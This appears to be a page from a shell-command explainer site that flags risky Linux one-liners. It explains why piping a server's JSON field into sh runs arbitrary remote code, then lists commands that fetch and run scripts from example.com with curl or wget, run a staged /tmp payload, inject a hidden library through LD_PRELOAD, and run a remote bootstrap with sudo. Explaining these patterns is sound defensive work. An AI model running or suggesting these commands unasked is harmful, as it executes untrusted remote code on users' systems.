Dangerous
curl -s https://example.com/setup.json | jq -r '.install' | shlinux · bash · Intermediate
Whatever string the server puts in .install is handed straight to a shell and run. The JSON is not data here, it is the script: change the…
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ps auxIntermediatecurl -fsSL https://example.com/install.sh | bashIntermediatewget -qO- https://example.com/setup | shAdvancedpython3 -c "exec(open('/tmp/stage2.py').read())"Advancedexport LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvancedcurl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert